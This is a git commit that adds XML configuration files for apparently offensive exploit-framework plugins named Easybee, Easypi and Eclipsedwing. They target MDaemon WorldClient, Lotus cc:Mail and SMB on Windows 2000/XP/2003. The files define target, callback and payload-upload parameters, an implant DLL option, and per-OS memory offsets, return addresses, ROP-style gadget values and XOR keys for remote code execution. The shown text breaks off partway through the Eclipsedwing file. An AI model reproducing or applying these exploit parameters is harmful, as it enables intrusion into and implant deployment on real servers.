mstrch0c 2017-04-14 11:05:51 +02:00
commit bc8ff5f44a
6520 changed files with 426985 additions and 0 deletions

View file

@ -0,0 +1,8 @@
<?xml version="1.0"?>
<t:config id="d9d52d9866d564e35cfcd46994b1a0882546df0e"
name="Easybee"
version="1.0.1"
configversion="1.0.1.0"
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:t='tc0'>
</t:config>

View file

@ -0,0 +1,201 @@
<?xml version="1.0"?>
<t:config id="d9d52d9866d564e35cfcd46994b1a0882546df0e"
name="Easybee"
version="1.0.1"
configversion="1.0.1.0"
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:t='tc0'>
<t:inputparameters>
<!-- Parameters for specific versions -->
<!--
//versionspecificGetInbox - Seemingly fixed string appended to URL to select the Inbox
//For 9.6.x: "View=List&ContentType=javascript&ReturnJavaScript=1&FolderID=1&Page=0&currentRequest=0"
// could use: "View=List&Folder=Inbox"
//For 10.0.x: "view=List&ReturnJavaScript=1&FolderID=0&ReturnDif=Yes&XMLHTTP=1"
//versionspecificGetMsgID - Give it a subject-line identifier string, it selects the message identifier number
//There are two observed formats. One appears to come from the "diff" response, and the other from the "full" response.
//M({n:4, i:1, unr:1, del:0, att:0, urg:0, bnw:0, frw:0, rpl:0, frm:"joe shmoo", sbj:"Autoresponder Trigger 0188439095", dt:"03/16/2009 10:53 AM", sz:9});
//scripts.push({id:2, i:0, unr:1, del:0, att:0, urg:0, bnw:1, frw:0, rpl:0, frm:"Joe Shmoo", sbj:"Autoresponder Trigger 1025304777", dt:"01/08/2009 03:01 PM", sz:4,depth:0, hasChildren:0});
//use: <t:parameter name="versionspecificGetMsgID" description="" type="String" value="\({[^\n})]*\b(?:id|n):([0-9]+),[^\n})]*\bsbj:&#x22;%s&#x22;[^\n})]*}\);" hidden="true" />
//also,
//<td><a name="3" href="/WorldClient.dll?Session=PXTSWDE&amp;View=Message&amp;Number=3&amp;Page=1"><strong>Autoresponder Trigger xKwwQoQwG1</strong></a></td>
//use: View=Message&(?:amp;)*Number=([0-9]+)&(?:amp;)*Page=[0-9]*#x22;[^>]*>[^<]*<strong>%s</strong>
-->
<t:paramchoice name="WorldClientVersion" description="The version of WorldClient used by the target">
<t:paramgroup name="9.5.2" description="">
<t:parameter name="versionspecificGetInbox" description="" type="String" value="View=List&amp;amp;amp;ContentType=javascript&amp;amp;amp;ReturnJavaScript=1&amp;amp;amp;FolderID=1&amp;amp;amp;Page=0&amp;amp;amp;currentRequest=0" hidden="true" />
<t:parameter name="versionspecificGetMsgID" description="" type="String" value="(?:(?:\({[^\n})]*\b(?:id|n):)|(?:View=Message&amp;amp;amp;amp;*Number=))([0-9]+)(?:(?:,[^\n})]*\bsbj:&#x22;%s&#x22;[^\n})]*}\);)|(?:&amp;amp;amp;amp;*Page=[0-9]*&#x22;[^&#x3E;]*&#x3E;[^&#x3C;]*&#x3C;strong&#x3E;%s&#x3C;/strong&#x3E;))" hidden="true" />
</t:paramgroup>
<t:paramgroup name="9.6.0" description="">
<t:parameter name="versionspecificGetInbox" description="" type="String" value="View=List&amp;amp;amp;ContentType=javascript&amp;amp;amp;ReturnJavaScript=1&amp;amp;amp;FolderID=1&amp;amp;amp;Page=0&amp;amp;amp;currentRequest=0" hidden="true" />
<t:parameter name="versionspecificGetMsgID" description="" type="String" value="(?:(?:\({[^\n})]*\b(?:id|n):)|(?:View=Message&amp;amp;amp;amp;*Number=))([0-9]+)(?:(?:,[^\n})]*\bsbj:&#x22;%s&#x22;[^\n})]*}\);)|(?:&amp;amp;amp;amp;*Page=[0-9]*&#x22;[^&#x3E;]*&#x3E;[^&#x3C;]*&#x3C;strong&#x3E;%s&#x3C;/strong&#x3E;))" hidden="true" />
</t:paramgroup>
<t:paramgroup name="9.6.1" description="">
<t:parameter name="versionspecificGetInbox" description="" type="String" value="View=List&amp;amp;amp;ContentType=javascript&amp;amp;amp;ReturnJavaScript=1&amp;amp;amp;FolderID=1&amp;amp;amp;Page=0&amp;amp;amp;currentRequest=0" hidden="true" />
<t:parameter name="versionspecificGetMsgID" description="" type="String" value="(?:(?:\({[^\n})]*\b(?:id|n):)|(?:View=Message&amp;amp;amp;amp;*Number=))([0-9]+)(?:(?:,[^\n})]*\bsbj:&#x22;%s&#x22;[^\n})]*}\);)|(?:&amp;amp;amp;amp;*Page=[0-9]*&#x22;[^&#x3E;]*&#x3E;[^&#x3C;]*&#x3C;strong&#x3E;%s&#x3C;/strong&#x3E;))" hidden="true" />
</t:paramgroup>
<t:paramgroup name="9.6.2" description="">
<t:parameter name="versionspecificGetInbox" description="" type="String" value="View=List&amp;amp;amp;ContentType=javascript&amp;amp;amp;ReturnJavaScript=1&amp;amp;amp;FolderID=1&amp;amp;amp;Page=0&amp;amp;amp;currentRequest=0" hidden="true" />
<t:parameter name="versionspecificGetMsgID" description="" type="String" value="(?:(?:\({[^\n})]*\b(?:id|n):)|(?:View=Message&amp;amp;amp;amp;*Number=))([0-9]+)(?:(?:,[^\n})]*\bsbj:&#x22;%s&#x22;[^\n})]*}\);)|(?:&amp;amp;amp;amp;*Page=[0-9]*&#x22;[^&#x3E;]*&#x3E;[^&#x3C;]*&#x3C;strong&#x3E;%s&#x3C;/strong&#x3E;))" hidden="true" />
</t:paramgroup>
<t:paramgroup name="9.6.3" description="">
<t:parameter name="versionspecificGetInbox" description="" type="String" value="View=List&amp;amp;amp;ContentType=javascript&amp;amp;amp;ReturnJavaScript=1&amp;amp;amp;FolderID=1&amp;amp;amp;Page=0&amp;amp;amp;currentRequest=0" hidden="true" />
<t:parameter name="versionspecificGetMsgID" description="" type="String" value="(?:(?:\({[^\n})]*\b(?:id|n):)|(?:View=Message&amp;amp;amp;amp;*Number=))([0-9]+)(?:(?:,[^\n})]*\bsbj:&#x22;%s&#x22;[^\n})]*}\);)|(?:&amp;amp;amp;amp;*Page=[0-9]*&#x22;[^&#x3E;]*&#x3E;[^&#x3C;]*&#x3C;strong&#x3E;%s&#x3C;/strong&#x3E;))" hidden="true" />
</t:paramgroup>
<t:paramgroup name="9.6.4" description="">
<t:parameter name="versionspecificGetInbox" description="" type="String" value="View=List&amp;amp;amp;ContentType=javascript&amp;amp;amp;ReturnJavaScript=1&amp;amp;amp;FolderID=1&amp;amp;amp;Page=0&amp;amp;amp;currentRequest=0" hidden="true" />
<t:parameter name="versionspecificGetMsgID" description="" type="String" value="(?:(?:\({[^\n})]*\b(?:id|n):)|(?:View=Message&amp;amp;amp;amp;*Number=))([0-9]+)(?:(?:,[^\n})]*\bsbj:&#x22;%s&#x22;[^\n})]*}\);)|(?:&amp;amp;amp;amp;*Page=[0-9]*&#x22;[^&#x3E;]*&#x3E;[^&#x3C;]*&#x3C;strong&#x3E;%s&#x3C;/strong&#x3E;))" hidden="true" />
</t:paramgroup>
<t:paramgroup name="9.6.5" description="">
<t:parameter name="versionspecificGetInbox" description="" type="String" value="View=List&amp;amp;amp;ContentType=javascript&amp;amp;amp;ReturnJavaScript=1&amp;amp;amp;FolderID=1&amp;amp;amp;Page=0&amp;amp;amp;currentRequest=0" hidden="true" />
<t:parameter name="versionspecificGetMsgID" description="" type="String" value="(?:(?:\({[^\n})]*\b(?:id|n):)|(?:View=Message&amp;amp;amp;amp;*Number=))([0-9]+)(?:(?:,[^\n})]*\bsbj:&#x22;%s&#x22;[^\n})]*}\);)|(?:&amp;amp;amp;amp;*Page=[0-9]*&#x22;[^&#x3E;]*&#x3E;[^&#x3C;]*&#x3C;strong&#x3E;%s&#x3C;/strong&#x3E;))" hidden="true" />
</t:paramgroup>
<t:paramgroup name="9.6.6" description="">
<t:parameter name="versionspecificGetInbox" description="" type="String" value="View=List&amp;amp;amp;ContentType=javascript&amp;amp;amp;ReturnJavaScript=1&amp;amp;amp;FolderID=1&amp;amp;amp;Page=0&amp;amp;amp;currentRequest=0" hidden="true" />
<t:parameter name="versionspecificGetMsgID" description="" type="String" value="(?:(?:\({[^\n})]*\b(?:id|n):)|(?:View=Message&amp;amp;amp;amp;*Number=))([0-9]+)(?:(?:,[^\n})]*\bsbj:&#x22;%s&#x22;[^\n})]*}\);)|(?:&amp;amp;amp;amp;*Page=[0-9]*&#x22;[^&#x3E;]*&#x3E;[^&#x3C;]*&#x3C;strong&#x3E;%s&#x3C;/strong&#x3E;))" hidden="true" />
</t:paramgroup>
<!--This program does not work on Version 10.0.0, but the input parameters are the same as the other 10.0.x versions-->
<t:paramgroup name="10.0.1" description="">
<t:parameter name="versionspecificGetInbox" description="" type="String" value="view=List&amp;amp;amp;ReturnJavaScript=1&amp;amp;amp;FolderID=0&amp;amp;amp;ReturnDif=Yes&amp;amp;amp;XMLHTTP=1" hidden="true" />
<t:parameter name="versionspecificGetMsgID" description="" type="String" value="(?:(?:\({[^\n})]*\b(?:id|n):)|(?:View=Message&amp;amp;amp;amp;*Number=))([0-9]+)(?:(?:,[^\n})]*\bsbj:&#x22;%s&#x22;[^\n})]*}\);)|(?:&amp;amp;amp;amp;*Page=[0-9]*&#x22;[^&#x3E;]*&#x3E;[^&#x3C;]*&#x3C;strong&#x3E;%s&#x3C;/strong&#x3E;))" hidden="true" />
</t:paramgroup>
<t:paramgroup name="10.0.2" description="">
<t:parameter name="versionspecificGetInbox" description="" type="String" value="view=List&amp;amp;amp;ReturnJavaScript=1&amp;amp;amp;FolderID=0&amp;amp;amp;ReturnDif=Yes&amp;amp;amp;XMLHTTP=1" hidden="true" />
<t:parameter name="versionspecificGetMsgID" description="" type="String" value="(?:(?:\({[^\n})]*\b(?:id|n):)|(?:View=Message&amp;amp;amp;amp;*Number=))([0-9]+)(?:(?:,[^\n})]*\bsbj:&#x22;%s&#x22;[^\n})]*}\);)|(?:&amp;amp;amp;amp;*Page=[0-9]*&#x22;[^&#x3E;]*&#x3E;[^&#x3C;]*&#x3C;strong&#x3E;%s&#x3C;/strong&#x3E;))" hidden="true" />
</t:paramgroup>
<t:paramgroup name="10.0.3" description="">
<t:parameter name="versionspecificGetInbox" description="" type="String" value="view=List&amp;amp;amp;ReturnJavaScript=1&amp;amp;amp;FolderID=0&amp;amp;amp;ReturnDif=Yes&amp;amp;amp;XMLHTTP=1" hidden="true" />
<t:parameter name="versionspecificGetMsgID" description="" type="String" value="(?:(?:\({[^\n})]*\b(?:id|n):)|(?:View=Message&amp;amp;amp;amp;*Number=))([0-9]+)(?:(?:,[^\n})]*\bsbj:&#x22;%s&#x22;[^\n})]*}\);)|(?:&amp;amp;amp;amp;*Page=[0-9]*&#x22;[^&#x3E;]*&#x3E;[^&#x3C;]*&#x3C;strong&#x3E;%s&#x3C;/strong&#x3E;))" hidden="true" />
</t:paramgroup>
<t:paramgroup name="10.0.4" description="">
<t:parameter name="versionspecificGetInbox" description="" type="String" value="view=List&amp;amp;amp;ReturnJavaScript=1&amp;amp;amp;FolderID=0&amp;amp;amp;ReturnDif=Yes&amp;amp;amp;XMLHTTP=1" hidden="true" />
<t:parameter name="versionspecificGetMsgID" description="" type="String" value="(?:(?:\({[^\n})]*\b(?:id|n):)|(?:View=Message&amp;amp;amp;amp;*Number=))([0-9]+)(?:(?:,[^\n})]*\bsbj:&#x22;%s&#x22;[^\n})]*}\);)|(?:&amp;amp;amp;amp;*Page=[0-9]*&#x22;[^&#x3E;]*&#x3E;[^&#x3C;]*&#x3C;strong&#x3E;%s&#x3C;/strong&#x3E;))" hidden="true" />
</t:paramgroup>
<t:paramgroup name="10.0.5" description="">
<t:parameter name="versionspecificGetInbox" description="" type="String" value="view=List&amp;amp;amp;ReturnJavaScript=1&amp;amp;amp;FolderID=0&amp;amp;amp;ReturnDif=Yes&amp;amp;amp;XMLHTTP=1" hidden="true" />
<t:parameter name="versionspecificGetMsgID" description="" type="String" value="(?:(?:\({[^\n})]*\b(?:id|n):)|(?:View=Message&amp;amp;amp;amp;*Number=))([0-9]+)(?:(?:,[^\n})]*\bsbj:&#x22;%s&#x22;[^\n})]*}\);)|(?:&amp;amp;amp;amp;*Page=[0-9]*&#x22;[^&#x3E;]*&#x3E;[^&#x3C;]*&#x3C;strong&#x3E;%s&#x3C;/strong&#x3E;))" hidden="true" />
</t:paramgroup>
<t:paramgroup name="10.1.0" description="">
<t:parameter name="versionspecificGetInbox" description="" type="String" value="view=List&amp;amp;amp;ReturnJavaScript=1&amp;amp;amp;FolderID=0&amp;amp;amp;ReturnDif=Yes&amp;amp;amp;XMLHTTP=1" hidden="true" />
<t:parameter name="versionspecificGetMsgID" description="" type="String" value="(?:(?:\({[^\n})]*\b(?:id|n):)|(?:View=Message&amp;amp;amp;amp;*Number=))([0-9]+)(?:(?:,[^\n})]*\bsbj:&#x22;%s&#x22;[^\n})]*}\);)|(?:&amp;amp;amp;amp;*Page=[0-9]*&#x22;[^&#x3E;]*&#x3E;[^&#x3C;]*&#x3C;strong&#x3E;%s&#x3C;/strong&#x3E;))" hidden="true" />
</t:paramgroup>
<t:paramgroup name="10.1.1" description="">
<t:parameter name="versionspecificGetInbox" description="" type="String" value="view=List&amp;amp;amp;ReturnJavaScript=1&amp;amp;amp;FolderID=0&amp;amp;amp;ReturnDif=Yes&amp;amp;amp;XMLHTTP=1" hidden="true" />
<t:parameter name="versionspecificGetMsgID" description="" type="String" value="(?:(?:\({[^\n})]*\b(?:id|n):)|(?:View=Message&amp;amp;amp;amp;*Number=))([0-9]+)(?:(?:,[^\n})]*\bsbj:&#x22;%s&#x22;[^\n})]*}\);)|(?:&amp;amp;amp;amp;*Page=[0-9]*&#x22;[^&#x3E;]*&#x3E;[^&#x3C;]*&#x3C;strong&#x3E;%s&#x3C;/strong&#x3E;))" hidden="true" />
</t:paramgroup>
<t:paramgroup name="10.1.2" description="">
<t:parameter name="versionspecificGetInbox" description="" type="String" value="view=List&amp;amp;amp;ReturnJavaScript=1&amp;amp;amp;FolderID=0&amp;amp;amp;ReturnDif=Yes&amp;amp;amp;XMLHTTP=1" hidden="true" />
<t:parameter name="versionspecificGetMsgID" description="" type="String" value="(?:(?:\({[^\n})]*\b(?:id|n):)|(?:View=Message&amp;amp;amp;amp;*Number=))([0-9]+)(?:(?:,[^\n})]*\bsbj:&#x22;%s&#x22;[^\n})]*}\);)|(?:&amp;amp;amp;amp;*Page=[0-9]*&#x22;[^&#x3E;]*&#x3E;[^&#x3C;]*&#x3C;strong&#x3E;%s&#x3C;/strong&#x3E;))" hidden="true" />
</t:paramgroup>
</t:paramchoice>
<!-- Parameters for the target machine -->
<t:parameter name="TargetIp" type="IPv4" description="Target IPv4 Address (dot notation)" />
<t:parameter name="TargetWCPort" type="TcpPort" description="Target Port Number for WorldClient connection" />
<t:parameter name="TargetWAPort" type="TcpPort" description="Target Port Number for WebAdmin connection" />
<!-- Parameters for the WorldClient server -->
<t:parameter name="WorldClientProtocol" type="String" description="WorldClient Protocol (http, https)" binding="//service[product/name='MDaemon WorldClient']/name" /> <!-- Replace this with an explicit choice of only "http" or "https" -->
<t:parameter name="WorldClientDomain" type="String" description="WorldClient Address (domain name or IP address)" binding="//identifier" />
<t:parameter name="WorldClientPort" type="TcpPort" description="WorldClient Port Number" binding="//service[product/name='MDaemon WorldClient']/port" />
<!-- Parameters for the WebAdmin server -->
<t:parameter name="WebAdminProtocol" type="String" description="WebAdmin Protocol (http, https)" binding="//service[product/name='MDaemon WebAdmin']/name" /> <!-- Replace this with an explicit choice of only "http" or "https" -->
<t:parameter name="WebAdminDomain" type="String" description="WebAdmin Address (domain name or IP address)" binding="//identifier" />
<t:parameter name="WebAdminPort" type="TcpPort" description="WebAdmin Port Number" binding="//service[product/name='MDaemon WebAdmin']/port" />
<!-- Parameters for the target account -->
<t:parameter name="TargetAcctDomain" type="String" description="Target account email domain"/>
<t:parameter name="TargetAcctUsr" type="String" description="Target account username"/>
<t:parameter name="TargetAcctPwd" type="String" description="Target account password"/>
<t:parameter name="TargetAcctIsAdmin" type="String" description="Target account administrator status"/>
<!-- Parameters for the email triggering the content filter -->
<t:parameter name="CFEmailFrom" type="String" description="Asserted sender for email triggering the content filter"/>
<t:parameter name="CFEmailSubj" type="String" description="Subject line for email triggering the content filter"/>
<t:parameter name="CFEmailFile" type="String" description="Filename of attachment (executable payload) on email triggering the content filter"/>
<!-- Parameters for the email triggering the auto responder -->
<t:parameter name="AREmailFrom" type="String" description="Asserted sender for email triggering the auto responder"/>
<t:parameter name="AREmailSubj" type="String" description="Subject line for email triggering the auto responder"/>
<!-- Parameters for the (pass through) email not triggering the content filter of auto responder -->
<t:parameter name="PTEmailFrom" type="String" description="Asserted sender for email ignored by content filter"/>
<t:parameter name="PTEmailSubj" type="String" description="Subject line for email ignored by content filter"/>
<!-- Parameters for the payload -->
<t:parameter name="PayloadName" type="String" description="Filename for executable payload once on the target"/>
<t:parameter name="PayloadFile" type="String" description="Path to payload to be uploaded to the target"/>
</t:inputparameters>
<t:redirection>
<t:local protocol="TCP"
listenaddr="TargetIp"
listenport="TargetWCPort"
destaddr="//identifier"
destport="//service[product/name='MDaemon WorldClient']/port"
closeoncompletion="true"/>
<t:local protocol="TCP"
listenaddr="TargetIp"
listenport="TargetWAPort"
destaddr="//identifier"
destport="//service[product/name='MDaemon WebAdmin']/port"
closeoncompletion="true"/>
</t:redirection>
<t:logic>
<t:and>
<t:or>
<t:service name="https">
<t:product name="MDaemon WorldClient" />
<!--
<t:bindtovalue name="WorldClientProtocol" value="https"/>
<t:bindtopath name="WorldClientDomain" path="//identifier"/>
<t:bindtopath name="WorldClientPort" path="//service[product/name='MDaemon WorldClient']/port"/>
-->
</t:service>
<t:service name="http">
<t:product name="MDaemon WorldClient" />
<!--
<t:bindtovalue name="WorldClientProtocol" value="http"/>
<t:bindtopath name="WorldClientDomain" path="//identifier"/>
<t:bindtopath name="WorldClientPort" path="//service[product/name='MDaemon WorldClient']/port"/>
-->
</t:service>
</t:or>
<t:or>
<t:service name="https">
<t:product name="MDaemon WebAdmin" />
<!--
<t:bindtovalue name="WebAdminProtocol" value="https"/>
<t:bindtopath name="WebAdminDomain" path="//identifier"/>
<t:bindtopath name="WebAdminPort" path="//service[product/name='MDaemon WebAdmin']/port"/>
-->
</t:service>
<t:service name="http">
<t:product name="MDaemon WebAdmin" />
<!--
<t:bindtovalue name="WebAdminProtocol" value="http"/>
<t:bindtopath name="WebAdminDomain" path="//identifier"/>
<t:bindtopath name="WebAdminPort" path="//service[product/name='MDaemon WebAdmin']/port"/>
-->
</t:service>
</t:or>
</t:and>
</t:logic>
</t:config>

Binary file not shown.

View file

@ -0,0 +1,8 @@
<?xml version="1.0"?>
<t:config id="b262fec9933caa4d9cdb704b916bb3ffd8269450"
name="Easypi"
version="3.1.0"
configversion="3.1.0.0"
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:t='tc0'>
</t:config>

View file

@ -0,0 +1,67 @@
<?xml version="1.0"?>
<t:config id="c72514379eaad943b62f4080a5ae1dc61619f0f3"
name="Easypi"
version="3.1.0"
configversion="3.1.0.0"
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:t='tc0'>
<t:inputparameters>
<!-- All plugins that accept a callback must have the Callback* parameters
listed below, or their equivalents. -->
<t:parameter name="NetworkTimeout"
description="Timeout for blocking network calls (in seconds). Use -1 for no timeout."
type="S16"
default="180"/>
<t:parameter name="TargetIp"
description="Target IP Address"
type="IPv4"/>
<t:parameter name="TargetPort"
description="Port used by ccMail"
type="TcpPort"
default="3264"/>
<t:parameter name="Connections"
description="Number of parallel connections to attempt"
type="S32"
default="20"/>
</t:inputparameters>
<t:outputparameters>
<t:parameter name="ConnectedTcp"
description="Connected TCP Socket to target"
type="Socket"/>
<t:parameter name="Contract"
description="Plugin contract"
type="String"
value="StagedUpload" />
<t:parameter name="XorMask"
description=""
type="U8"/>
</t:outputparameters>
<t:redirection>
<t:local protocol="TCP"
listenaddr="TargetIp"
listenport="TargetPort"
destaddr="//identifier"
destport="//service[name='ccmail']/port"
closeoncompletion="true"/>
<t:remote protocol="TCP"
listenaddr="CallbackIp"
listenport="CallbackPort"
destport="CallbackLocalPort"/>
</t:redirection>
<t:logic>
<t:and>
<t:service name="ccmail">
<t:product name="Lotus cc:Mail"/>
</t:service>
<t:or>
<t:os family="windows" name="Windows NT"/>
<t:os family="windows" name="Windows 2000"/>
<t:os family="windows" name="Windows XP"/>
<t:os family="windows" name="Windows 2003"/>
</t:or>
</t:and>
</t:logic>
</t:config>

Binary file not shown.

View file

@ -0,0 +1,31 @@
<?xml version="1.0"?>
<t:config id="def84fcfbc30f146f982bf43d536f300bf2e6485"
name="Eclipsedwing"
version="1.5.2"
configversion="1.5.2.0"
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:t='tc0'>
<t:touchlist>
<t:plugin name="Rpctouch"
displayname="RPC Touch"
description="Touch to get Target OS"
postmessage="ECWI requires Target OS">
<t:ivparam name="TargetPort" value="TargetPort"/>
<t:ivparam name="TargetIp" value="TargetIp"/>
<t:ivparam name="Protocol" value="Protocol"/>
<t:ivparam name="NetworkTimeout" value="NetworkTimeout"/>
<t:oparam name="Target" value="Target"/>
<t:oparam name="Protocol" value="Protocol"/>
</t:plugin>
<t:plugin name="Eclipsedwingtouch"
displayname="ECWI Vulnerability Touch"
description="Check if Target is vulnerable to ECWI"
postmessage="ECWI requires vulnerable target">
<t:ivparam name="TargetPort" value="TargetPort"/>
<t:ivparam name="TargetIp" value="TargetIp"/>
<t:ivparam name="Protocol" value="Protocol"/>
<t:ivparam name="NetworkTimeout" value="NetworkTimeout"/>
</t:plugin>
</t:touchlist>
</t:config>

View file

@ -0,0 +1,341 @@
<?xml version="1.0"?>
<t:config id="def84fcfbc30f146f982bf43d536f300bf2e6485"
name="Eclipsedwing"
version="1.5.2"
configversion="1.5.2.0"
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:t='tc0'>
<t:inputparameters>
<t:parameter name="TargetIp" description="Target IP Address" type="IPv4" />
<t:parameter name="TargetPort"
description="Port used by Netbios or SMB"
type="TcpPort" />
<t:paramchoice name="Protocol" description="Protocol to connect to target with">
<t:paramgroup name="SMB" description="SMB over TCP"/>
<t:paramgroup name="NBT" description="Netbios over TCP"/>
</t:paramchoice>
<t:parameter name="NetworkTimeout"
description="Timeout for blocking network calls (in seconds). Use -1 for no timeout."
type="S16"
default="60"/>
<t:parameter name="ClientName"
description="Client SMB Name"
type="String"
hidden="true"
default="*SMBCLIENT"/>
<t:parameter name="ServerName"
description="Server SMB name"
type="String"
hidden="true"
default="*SMBSERVER"/>
<t:paramchoice name="Payload" description="Listen or Callback paylaod" default="Callback">
<t:paramgroup name="Callback" description="Callback payload">
<t:parameter name="CallbackIp" description="Callback IP address" type="IPv4"/>
<t:parameter name="CallbackPort" description="Callback port" type="TcpPort" default="0"/>
<t:parameter name="CallbackLocalPort" description="Local callback port" type="TcpPort" required="false"/>
</t:paramgroup>
<t:paramgroup name="RPCReuse" description="RPC Proxy payload">
<t:parameter name="FbStorage"
description="base path to implant payload dll"
type="String"/>
<t:parameter name="PayloadDll"
description="implant payload dll name"
type="String"
default="wbemess2.dll"/>
</t:paramgroup>
<!--
<t:paramgroup name="Listener" description="Listener payload">
<t:parameter name="ListenPort" description="Listen port" type="TcpPort" default="0"/>
<t:parameter name="CallinPort" description="Call in port" type="TcpPort" default="0"/>
<t:parameter name="CallinTimeout" description="Timeout to wait before trying to connect in." type="S16" default="60"/>
</t:paramgroup>
-->
</t:paramchoice>
<t:parameter name="PrefixLength" description="" type="U32" value="0xB8" hidden="true"/>
<t:parameter name="BufferLength" description="" type="U32" value="0xFA0" hidden="true"/>
<t:parameter name="ProcHandleOffset" description="" type="U32" value="0x08" hidden="true"/>
<t:parameter name="ProcHandleOffset2" description="" type="U32" value="0x34" hidden="true"/>
<t:parameter name="ProcHandleValue" description="" type="U32" value="0xFFFFFFFF" hidden="true"/>
<!-- the 0x0C offset is set from InitialEcxValue -->
<t:parameter name="PtrRwSizeOffset" description="" type="U32" value="0x10" hidden="true"/>
<t:parameter name="PtrRwSizeOffset2" description="" type="U32" value="0x3C" hidden="true"/>
<t:parameter name="ExeFlagsOffset" description="" type="U32" value="0x14" hidden="true"/>
<t:parameter name="ExeFlagsOffset2" description="" type="U32" value="0x40" hidden="true"/>
<t:parameter name="ExeFlagsValue" description="" type="U32" value="0x00000040" hidden="true"/>
<t:parameter name="UnpatchedRetOffset" description="" type="U32" value="0x1C" hidden="true"/>
<t:parameter name="UnpatchedEcxOffset" description="" type="U32" value="0x20" hidden="true"/>
<t:parameter name="PatchedEcxOffset" description="" type="U32" value="0x28" hidden="true"/>
<t:parameter name="CommonRetOffset" description="" type="U32" value="0x24" hidden="true"/>
<t:parameter name="LoadEaxPtrOffset" description="" type="U32" value="0x2C" hidden="true"/>
<t:parameter name="LoadEaxPtrOffset2" description="" type="U32" value="0x70" hidden="true"/>
<t:parameter name="EaxPtrOffset" description="" type="U32" value="0x30" hidden="true"/>
<t:parameter name="AddEaxPtrEdxOffset" description="" type="U32" value="0x38" hidden="true"/>
<t:parameter name="EbxToWriteableOffset" description="" type="U32" value="0x48" hidden="true"/>
<t:parameter name="EbxPtrOffset" description="" type="U32" value="0x54" hidden="true"/>
<t:parameter name="MovHeapPtrToEcxOffset" description="" type="U32" value="0x58" hidden="true"/>
<t:parameter name="EaxNegValOffset" description="" type="U32" value="0x84" hidden="true"/>
<t:parameter name="MovEcxEspOffset" description="" type="U32" value="0x8C" hidden="true"/>
<t:parameter name="HeapRetAddrOffset" description="" type="U32" value="0x98" hidden="true"/>
<t:parameter name="HeapRetAddrOffset2" description="" type="U32" value="0x20" hidden="true"/>
<t:parameter name="HeapRetEbxOffset" description="" type="U32" value="0x68" hidden="true"/>
<t:parameter name="HeapRetEbpOffset" description="" type="U32" value="0x88" hidden="true"/>
<t:parameter name="HeapRetEsiOffset" description="" type="U32" value="0x40" hidden="true"/>
<t:parameter name="PtrPtrHeapOffset" description="" type="U32" value="0x0C" hidden="true"/> <!-- used in buffer, not prefix - will be InitialEcxValue + 4 -->
<t:parameter name="PtrPtrHeapOffset2" description="" type="U32" value="0x38" hidden="true"/> <!-- used in buffer, not prefix - will be InitialEcxValue + 4 -->
<t:parameter name="GetExecutionToBufferOffset" description="" type="U32" value="0x04" hidden="true"/>
<t:parameter name="GetExecutionToBufferOffset2" description="" type="U32" value="0x30" hidden="true"/>
<t:parameter name="WriteMemoryOffset" description="" type="U32" value="0x18" hidden="true"/>
<t:parameter name="WriteMemoryOffset2" description="" type="U32" value="0x44" hidden="true"/>
<t:parameter name="WriteMemoryOffset3" description="" type="U32" value="0x1C" hidden="true"/>
<t:parameter name="CallEcxOffset" description="" type="U32" value="0x4c" hidden="true"/>
<t:parameter name="HeapRetEbxValue" description="" type="U32" value="0x7ffe0300" hidden="true"/> <!-- address of kernel32.dll import of NtProtectVirtualMemory -->
<t:paramchoice name="Target" description="Operating System, Service Pack, and Language of target OS">
<t:paramgroup name="W2K" description="Windows 2000 All">
<t:parameter name="xor_key_reg" description="" type="U8" value="0x55" hidden="true"/>
<t:parameter name="initial_eax_val" description="" type="U32" value="0xfffffc17" hidden="true"/>
<t:parameter name="sub_eax_val" description="" type="U32" value="0xffffff34" hidden="true"/>
<t:parameter name="NoNX" description="" type="Boolean" value="true" hidden="true"/>
<t:parameter name="CallESP" description="" type="U32" value="0x001f10c8" hidden="true"/>
</t:paramgroup>
<!-- These next 3 are all the same -->
<t:paramgroup name="XPSP0" description="Windows XP, Service Pack 0">
<t:parameter name="xor_key_reg" description="" type="U8" value="0x51" hidden="true"/>
<t:parameter name="initial_eax_val" description="" type="U32" value="0xfffffcd3" hidden="true"/>
<t:parameter name="sub_eax_val" description="" type="U32" value="0xffffff36" hidden="true"/>
<t:parameter name="NoNX" description="" type="Boolean" value="true" hidden="true"/>
<t:parameter name="CallESP" description="" type="U32" value="0x001a762f" hidden="true"/>
</t:paramgroup>
<t:paramgroup name="XPSP1" description="Windows XP, Service Pack 1">
<t:parameter name="xor_key_reg" description="" type="U8" value="0x51" hidden="true"/>
<t:parameter name="initial_eax_val" description="" type="U32" value="0xfffffcd3" hidden="true"/>
<t:parameter name="sub_eax_val" description="" type="U32" value="0xffffff36" hidden="true"/>
<t:parameter name="NoNX" description="" type="Boolean" value="true" hidden="true"/>
<t:parameter name="CallESP" description="" type="U32" value="0x001a762f" hidden="true"/>
</t:paramgroup>
<t:paramgroup name="XPSP2" description="Windows XP, Service Pack 2">
<t:parameter name="ShellcodeOffset" description="" type="U32" value="0x78" hidden="true"/>
<t:parameter name="RsaenhBaseAddress" description="" type="U32" value="0x0ffd0000" hidden="true"/>
<t:parameter name="UnpatchedRetValue" description="" type="U32" value="0x7A31" hidden="true"/> <!-- offset from base address -->
<t:parameter name="CommonRetValue" description="" type="U32" value="0x1095F" hidden="true"/> <!-- offset from base address -->
<t:parameter name="InitialEcxValue" description="" type="U32" value="0x24588" hidden="true"/> <!-- offset from base address -->
<t:parameter name="LoadEaxPtrValue" description="" type="U32" value="0xA08D" hidden="true"/> <!-- offset from base address -->
<t:parameter name="EaxPtrValue" description="" type="U32" value="0x0ffe131E" hidden="true"/> <!-- offset from base address -->
<t:parameter name="AddEaxPtrEdxValue" description="" type="U32" value="0x1A5A1" hidden="true"/> <!-- offset from base address -->
<t:parameter name="EbxToWriteableValue" description="" type="U32" value="0x1AAD5" hidden="true"/> <!-- offset from base address -->
<t:parameter name="EbxPtrValue" description="" type="U32" value="0x2458C" hidden="true"/> <!-- offset from base address -->
<t:parameter name="MovHeapPtrToEcxValue" description="" type="U32" value="0x1E64D" hidden="true"/> <!-- offset from base address -->
<t:parameter name="EaxNegValValue" description="" type="U32" value="0xFFFFFF30" hidden="true"/>
